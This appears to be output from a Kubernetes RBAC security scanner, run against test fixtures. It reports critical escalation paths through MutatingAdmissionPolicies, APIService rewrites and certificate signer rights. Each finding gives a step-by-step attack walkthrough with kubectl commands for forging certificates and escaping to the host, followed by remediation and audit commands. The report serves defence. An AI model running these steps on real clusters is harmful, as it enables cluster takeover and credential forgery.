Subject ServiceAccount/flux-system/kustomize-controller can write mutatingadmissionpolicies (via ClusterRoleBinding deepchain-flux-admin : ClusterRole cluster-admin) and mutatingadmissionpolicybindings (via ClusterRoleBinding deepchain-flux-admin : ClusterRole cluster-admin). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=kustomize-controller -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=kustomize-controller -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/flux-system/kustomize-controller. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=kustomize-controller -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-flux-admin
Inspect: kubectl get clusterrolebinding deepchain-flux-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-flux-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 9.0
Mutating admission policy injection: ServiceAccount/rbac-fixtures/sa-cluster-admin can rewrite every admitted object
Scope · Cluster Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can write mutatingadmissionpolicies (via ClusterRoleBinding crb-cluster-admin : ClusterRole cluster-admin) and mutatingadmissionpolicybindings (via ClusterRoleBinding crb-cluster-admin : ClusterRole cluster-admin). A MutatingAdmissionPolicy is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.

With write access to both, the subject authors a mutation that matches pods on CREATE and injects securityContext.privileged: true, a hostPath volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.

Both halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors KUBE-PRIVESC-010, where a binding write escalates only alongside the bind verb.

One ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected privileged pod is still rejected by PSA in a namespace that enforces baseline or restricted. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a privileged-labelled one such as kube-system), which every real cluster has at least one of.

Impact Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMutatingAdmissionPolicy injection

A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

  1. Attacker confirms both halves with kubectl auth can-i create mutatingadmissionpolicies --as=sa-cluster-admin -A and kubectl auth can-i create mutatingadmissionpolicybindings --as=sa-cluster-admin -A.
  2. They author a MutatingAdmissionPolicy matching pods CREATE whose ApplyConfiguration/JSONPatch sets spec.containers[*].securityContext.privileged: true and adds a hostPath: / volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.
  3. They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.
  4. They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own kubectl run); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.
  5. From the privileged pod they chroot into the host root, read /etc/kubernetes/pki/* or /var/lib/kubelet on a control-plane-adjacent node, and forge cluster-admin credentials.
Remediation
Remove write access to mutatingadmissionpolicies and mutatingadmissionpolicybindings from every non-admin identity; treat it like write access to (Cluster)RoleBindings.
  1. Drop create/update/patch on mutatingadmissionpolicies and mutatingadmissionpolicybindings from ServiceAccount/rbac-fixtures/sa-cluster-admin. These verbs belong only to cluster administrators.
  2. Audit who else holds them: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test("mutatingadmissionpolic")) | .metadata.name' (add the ClusterRoleBinding subjects to see the reachable identities).
  3. Enumerate existing policies and bindings for a mutation already planted: kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml and review each spec.mutations block.
  4. Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.
  5. Verify with kubectl auth can-i create mutatingadmissionpolicies --as=sa-cluster-admin -A returning no.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL

Cluster-wide update/patch on apiservices lets ServiceAccount/hookbackend-fixtures/apisvc-installer re-route API groups to a server it controls

KUBE-PRIVESC-020 1 subject Score 10.0
MITRE ATT&CK: T1557T1098T1078.004

Affected subject

CRITICAL ServiceAccount/hookbackend-fixtures/apisvc-installer Cluster 10.0
Cluster-wide update/patch on apiservices lets ServiceAccount/hookbackend-fixtures/apisvc-installer re-route API groups to a server it controls
Scope · Cluster Cluster-wide: APIService registrations are cluster-scoped and decide which server answers each API group
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/apisvc-installer Resource: RBACRule/cr-apisvc-installer

Subject ServiceAccount/hookbackend-fixtures/apisvc-installer can update/patch apiservices (apiregistration.k8s.io) via ClusterRoleBinding crb-apisvc-installer → ClusterRole cr-apisvc-installer, reaching any API group's registration, native groups included.

An APIService registration tells the kube-aggregator which server answers an API group and version. A registration with spec.service set makes the aggregator proxy that group's requests to a Service in some namespace, authenticating to it with the API server's own front-proxy client certificate and forwarding the original caller's identity in headers. Rewriting the registration re-routes the group.

For a native group the holder serves that group in the API server's stead: the aggregator forwards RBAC, authentication, or core requests to the holder's Service, with the API server's front-proxy credentials and the caller's identity. That is the API server's own authority handed over, and nothing in-tree reverts the registration.

The verb is held by a few installers (metrics-server, cert-manager's cainjector, OLM) and is routinely granted without resourceNames, which is what turns a metrics add-on's permission into a control-plane one.

Impact Serve an API group in the API server's stead, receiving every request for it together with the API server's front-proxy credentials and the caller's identity. For a native group this is cluster-admin; for an aggregated group it is that group's whole request stream.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueAPIService rewrite: serving an API group

An APIService registration tells the kube-aggregator which server answers an API group and version. One with spec.service set makes the aggregator proxy that group's requests to a Service, authenticating with the API server's own front-proxy client certificate and forwarding the caller's identity in headers. Rewriting the registration re-routes the group.

For an aggregated group the attacker receives every request forwarded for it. For a native group (apps, rbac, authentication, core) the attacker serves it in the API server's stead, with the API server's credentials: that is cluster-admin, and nothing in-tree reverts the registration. The verb is held by installers such as metrics-server and is routinely granted without resourceNames.

  1. Attacker confirms the verb with kubectl auth can-i patch apiservices --as=apisvc-installer -A.
  2. They run a Service of their own and rewrite a registration's spec.service to point at it (setting insecureSkipTLSVerify or their own caBundle so the aggregator accepts their serving certificate).
  3. The aggregator forwards that group's requests to their Service with the API server's front-proxy credentials and each caller's identity. They answer, record, or alter them.
  4. For a native group, every client of that group, controllers included, is now talking to the attacker.
Remediation
Remove update/patch on apiservices from every identity that is not a cluster administrator; where an installer needs it, scope it with resourceNames to the registrations the installer owns.
  1. Drop update/patch on apiservices from ServiceAccount/hookbackend-fixtures/apisvc-installer, or scope it with resourceNames to the installer's own registrations (for metrics-server, v1beta1.metrics.k8s.io).
  2. Audit who else holds it: kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]? | (.resources // [] | index("apiservices")) and ((.verbs // []) | map(. == "update" or . == "patch" or . == "*") | any)) | .metadata.name'.
  3. Alert on APIService writes that set spec.service on a registration in a native API group, or that remove the kube-aggregator.kubernetes.io/automanaged label.
  4. Prefer CRDs over aggregated API servers where the data model allows; a CRD needs no registration write.
  5. Verify with kubectl auth can-i patch apiservices --as=apisvc-installer -A returning no.
Evidence
ScopeCluster
API groupsapiregistration.k8s.io
Resourcesapiservices
Verbsgetlistupdate
update: Replace existing objects
Source rolecr-apisvc-installer
Inspect: kubectl get clusterrole cr-apisvc-installer -o yaml
Source bindingcrb-apisvc-installer
Inspect: kubectl get clusterrolebinding crb-apisvc-installer -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "apiregistration.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "apiservices"
  ],
  "scope": "cluster",
  "source_binding": "crb-apisvc-installer",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-apisvc-installer",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get",
    "list",
    "update"
  ]
}
CRITICAL

Signer control: ServiceAccount/csr-fixtures/sa-csr-sign can sign client certificates for kubernetes.io/kube-apiserver-client

KUBE-PRIVESC-024 9 subjects Score 10.0–9.6

Affected subjects (9)

CRITICAL ServiceAccount/csr-fixtures/sa-csr-sign Cluster 10.0
Signer control: ServiceAccount/csr-fixtures/sa-csr-sign can sign client certificates for kubernetes.io/kube-apiserver-client
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-sign Resource: RBACRule/cr-csr-sign

Subject ServiceAccount/csr-fixtures/sa-csr-sign holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client (via ClusterRoleBinding crb-csr-sign → ClusterRole cr-csr-sign) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding crb-csr-sign → ClusterRole cr-csr-sign). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:csr-fixtures:sa-csr-sign | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/csr-fixtures/sa-csr-sign, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groupscertificates.k8s.io
certificates.k8s.io: Issues cluster-trusted certificates
Resourcessigners
Verbssign
sign: Sign CertificateSigningRequests (issue cluster certs)
Source rolecr-csr-sign
Inspect: kubectl get clusterrole cr-csr-sign -o yaml
Source bindingcrb-csr-sign
Inspect: kubectl get clusterrolebinding crb-csr-sign -o yaml
resource_names
[
  "kubernetes.io/kube-apiserver-client"
]
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "certificates.k8s.io"
  ],
  "namespace": "",
  "resource_names": [
    "kubernetes.io/kube-apiserver-client"
  ],
  "resources": [
    "signers"
  ],
  "scope": "cluster",
  "source_binding": "crb-csr-sign",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-csr-sign",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "sign"
  ]
}
CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 10.0
Signer control: ServiceAccount/foothold-exec/foothold-decoy-sa can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: RBACRule/cluster-admin

Subject ServiceAccount/foothold-exec/foothold-decoy-sa holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:foothold-exec:foothold-decoy-sa | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/foothold-exec/foothold-decoy-sa, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "foothold-decoy-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Signer control: ServiceAccount/rbac-fixtures/sa-wildcard can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

